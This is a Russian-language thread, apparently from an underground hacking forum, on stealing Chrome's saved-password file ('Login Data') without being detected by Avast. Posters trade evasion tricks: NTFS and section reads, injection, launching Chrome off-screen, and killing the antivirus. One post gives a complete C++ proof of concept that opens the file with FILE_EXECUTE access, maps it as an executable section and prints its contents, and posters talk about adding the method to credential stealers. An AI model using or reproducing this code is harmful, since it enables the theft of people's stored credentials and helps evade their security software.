• XSS.stack #1 – первый литературный журнал от юзеров форума

Детект Avast на копирование Хрома

подниму некротему - большинство способов или не работают или надо админ права, лучшим способом такая раскладка - проверяем есть ли админ права, если есть то работаем с файлами через секции и NTFS дерево, если нет админ прав делаем инжект.
Какой версии был аваст, avast free antivirus? Core Shields -> High sensivity + Enable Hardened Mode? Триггер был на 'Login Data'?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Запускешь chrome и выносишь его за пределы экрана, в качестве параметра передавая путь к файлу. Бинарные файлы будут скачиваться и сохраняться в папке с загрузками, если нужна кастомная папка, можно запустить хром под отдельным профилем. Текстовые файлы будут отображаться в окне хромиума как текст. Способ работает очень давно и ничем не палится, а вы тут кражи хендлов и чтение с мфт обсуждаете))
 
Запускешь chrome и выносишь его за пределы экрана, в качестве параметра передавая путь к файлу. Бинарные файлы будут скачиваться и сохраняться в папке с загрузками, если нужна кастомная папка, можно запустить хром под отдельным профилем. Текстовые файлы будут отображаться в окне хромиума как текст. Способ работает очень давно и ничем не палится, а вы тут кражи хендлов и чтение с мфт обсуждаете))
Почему бы и нет +1 элитная техника в паблик - ждём её в ближайших апдейтах шарповых стилаков :cool:
 
Запускешь chrome и выносишь его за пределы экрана, в качестве параметра передавая путь к файлу. Бинарные файлы будут скачиваться и сохраняться в папке с загрузками, если нужна кастомная папка, можно запустить хром под отдельным профилем. Текстовые файлы будут отображаться в окне хромиума как текст. Способ работает очень давно и ничем не палится, а вы тут кражи хендлов и чтение с мфт обсуждаете))
Данному способу триста лет в обед, на форуме где-то под хайдом лежит уже третий год.
 
А что если удалить процесс антивируса, скопировать данные и потом перезапустить антивирус?
Хз как антивирус реагирует на терминэйт процесса, но подозреваю, что там есть защита
 
Запускешь chrome и выносишь его за пределы экрана, в качестве параметра передавая путь к файлу. Бинарные файлы будут скачиваться и сохраняться в папке с загрузками, если нужна кастомная папка, можно запустить хром под отдельным профилем. Текстовые файлы будут отображаться в окне хромиума как текст. Способ работает очень давно и ничем не палится, а вы тут кражи хендлов и чтение с мфт обсуждаете))
Интересная методика, не пробовал, за совет лайк!
 
У вас должно быть более 150 сообщений для просмотра скрытого контента.
Нашёл интерестный метод играя с Нт апи, в чём его суть:

Файловые дрова аваста и скорее всего некоторых других решений ( не проверял но работает мб и на сентике ) не хендлят открытия с FILE_EXECUTE и не ловят мап памяти если она проставлена с аттрибутом PAGE_EXECUTE

Накидал такой вот говнопок на скорую руку и проверил на авасте премиум на максималках - молчит:

C++:
// AvastPOC.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <iostream>
#include <Windows.h>
#define OBJ_KERNEL_HANDLE 0x00000200
#define OBJ_CASE_INSENSITIVE 0x00000040
#define     FILE_OPEN   0x00000001
#define     FILE_SYNCHRONOUS_IO_NONALERT   0x00000020
#define     FILE_NON_DIRECTORY_FILE   0x00000040
#define ViewShare 1
#define ViewUnmap 2

typedef struct _UNICODE_STRING
{
    WORD Length;
    WORD MaximumLength;
    WORD* Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID    Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef NTSTATUS(WINAPI* t_NtCreateFile)(
              PHANDLE            FileHandle,
              ACCESS_MASK        DesiredAccess,
              POBJECT_ATTRIBUTES ObjectAttributes,
              PIO_STATUS_BLOCK   IoStatusBlock,
              PLARGE_INTEGER     AllocationSize,
              ULONG              FileAttributes,
              ULONG              ShareAccess,
              ULONG              CreateDisposition,
              ULONG              CreateOptions,
              PVOID              EaBuffer,
              ULONG              EaLength
    );

#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
(p)->RootDirectory = r;                             \
(p)->Attributes = a;                                \
(p)->ObjectName = n;                                \
(p)->SecurityDescriptor = s;                        \
(p)->SecurityQualityOfService = NULL;               \
}

typedef NTSTATUS(WINAPI* t_NtCreateSection)(
              PHANDLE            SectionHandle,
              ACCESS_MASK        DesiredAccess,
              POBJECT_ATTRIBUTES ObjectAttributes,
              PLARGE_INTEGER     MaximumSize,
              ULONG              SectionPageProtection,
              ULONG              AllocationAttributes,
              HANDLE             FileHandle
    );

typedef NTSTATUS(WINAPI* t_NtMapViewOfSection)(
                   HANDLE          SectionHandle,
                   HANDLE          ProcessHandle,
                   PVOID* BaseAddress,
                   ULONG_PTR       ZeroBits,
                   SIZE_T          CommitSize,
                   PLARGE_INTEGER  SectionOffset,
                   PSIZE_T         ViewSize,
                   ULONG InheritDisposition,
                   ULONG           AllocationType,
                   ULONG           Win32Protect
    );

LPWSTR GetEnv(LPWSTR lpwszVariable)
{
    DWORD dwRequiredSize = ExpandEnvironmentStringsW(lpwszVariable, NULL, 0);
    LPWSTR lpwszResult = (LPWSTR)malloc(dwRequiredSize * 2 + 2);

    ExpandEnvironmentStringsW(lpwszVariable, lpwszResult, dwRequiredSize);

    return lpwszResult;
}


int main()
{
    LPWSTR lpwszPath  = GetEnv((LPWSTR)L"\\??\\%localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data");

    wprintf(L"Opening: %s\r\n",lpwszPath);

#ifdef STANDARD
    HANDLE hFile = CreateFileW(lpwszPath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE) {
        wprintf(L"Successfully opened %p\r\n", hFile);
        CloseHandle(hFile);
    }
    else {
        wprintf(L"Failed to open, error %d\r\n", GetLastError());
    }
#endif

    t_NtCreateFile NtCreateFile = (t_NtCreateFile)GetProcAddress(GetModuleHandleW(L"ntdll"), "NtCreateFile");
    HANDLE hFile;
    UNICODE_STRING objIdName;
    IO_STATUS_BLOCK io;
    LARGE_INTEGER allocSize = { 0 };

    objIdName.Buffer = (WORD*)lpwszPath;
    objIdName.Length = wcslen(lpwszPath) * 2;
    objIdName.MaximumLength = objIdName.Length + 2;
    OBJECT_ATTRIBUTES attrs;
    InitializeObjectAttributes(&attrs, &objIdName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, 0);


    NTSTATUS status = NtCreateFile(&hFile, SYNCHRONIZE | FILE_EXECUTE,
        &attrs, &io, &allocSize,
        FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
        NULL,
        0);

    if (status == 0) {
        wprintf(L"Successfully opened...\r\n");

        LARGE_INTEGER secSize = { 0 };
        secSize.LowPart = GetFileSize(hFile, (LPDWORD) & secSize.HighPart);

        t_NtCreateSection NtCreateSection = (t_NtCreateSection)GetProcAddress(GetModuleHandleW(L"ntdll"), "NtCreateSection");
        HANDLE hSec;
        LARGE_INTEGER MaxSize = {  0 };
        status =  NtCreateSection(&hSec, SECTION_MAP_EXECUTE, NULL, &MaxSize, PAGE_EXECUTE, SEC_COMMIT, hFile);
      
        if (status == 0) {
            wprintf(L"Successfully sectioned...\r\n");

            t_NtMapViewOfSection NtMapViewOfSection = (t_NtMapViewOfSection)GetProcAddress(GetModuleHandleW(L"ntdll"), "NtMapViewOfSection");
      
            PVOID pBase = NULL;
            LARGE_INTEGER offset = { 0 };
            SIZE_T view = 0;

            status = NtMapViewOfSection(hSec, GetCurrentProcess(), &pBase, 0, secSize.LowPart, &offset, &view, ViewUnmap, 0, PAGE_EXECUTE);
            wprintf(L"Successfully mapped...\r\n");
            DWORD dwOld;
            VirtualProtect(pBase, secSize.LowPart, PAGE_READONLY, &dwOld);
            wprintf(L"Data: %S\r\n", pBase); //имеем в pBase контент логин даты
        }


    }
    wprintf(L"Press enter to exit...");
    getchar();
    return 0;
}

Если кто видел такое в паблике напишите, иначе засчитаю за собой +1 илитную технику
 
Последнее редактирование модератором:
  • If only the FILE_EXECUTE and SYNCHRONIZE flags are set, the caller cannot directly read or write any data in the file using the returned FileHandle, that is, all operations on the file occur through the system pager in response to instruction and data accesses.
Видимо в связи с этим АВ игнорят такие операции.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх